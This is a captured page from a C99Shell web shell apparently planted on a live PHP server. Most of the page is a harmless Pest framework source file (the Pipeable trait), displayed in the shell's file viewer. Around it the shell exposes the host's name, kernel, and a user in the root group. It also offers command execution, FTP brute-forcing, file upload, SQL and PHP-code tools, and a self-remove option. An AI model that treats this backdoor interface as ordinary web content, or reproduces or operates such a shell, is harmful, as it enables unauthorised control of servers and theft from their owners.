!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/Concerns/   drwxr-xr-x
Free 29.02 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Pipeable.php (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Concerns;

use 
Closure;

/**
 * @internal
 */
trait Pipeable
{
    
/**
     * The list of pipes.
     *
     * @var array<string, array<Closure(Closure, mixed ...$arguments): void>>
     */
    
private static array $pipes = [];

    
/**
     * The list of interceptors.
     *
     * @var array<string, array<Closure(Closure, mixed ...$arguments): void>>
     */
    
private static array $interceptors = [];

    
/**
     * Register a pipe to be applied before an expectation is checked.
     */
    
public function pipe(string $nameClosure $pipe): void
    
{
        
self::$pipes[$name][] = $pipe;
    }

    
/**
     * Register an interceptor that should replace an existing expectation.
     *
     * @param  string|Closure(mixed $value, mixed ...$arguments):bool  $filter
     */
    
public function intercept(string $namestring|Closure $filterClosure $handler): void
    
{
        if (
is_string($filter)) {
            
$filter = fn ($value): bool => $value instanceof $filter;
        }

        
self::$interceptors[$name][] = $handler;

        
$this->pipe($name, function ($next, ...$arguments) use ($handler$filter): void {
            
/* @phpstan-ignore-next-line */
            
if ($filter($this->value, ...$arguments)) {
                
// @phpstan-ignore-next-line
                
$handler->bindTo($this$this::class)(...$arguments);

                return;
            }

            
$next();
        });
    }

    
/**
     * Get the list of pipes by the given name.
     *
     * @return array<int, Closure>
     */
    
private function pipes(string $nameobject $contextstring $scope): array
    {
        return 
array_map(fn (Closure $pipe): \Closure => $pipe->bindTo($context$scope), self::$pipes[$name] ?? []);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--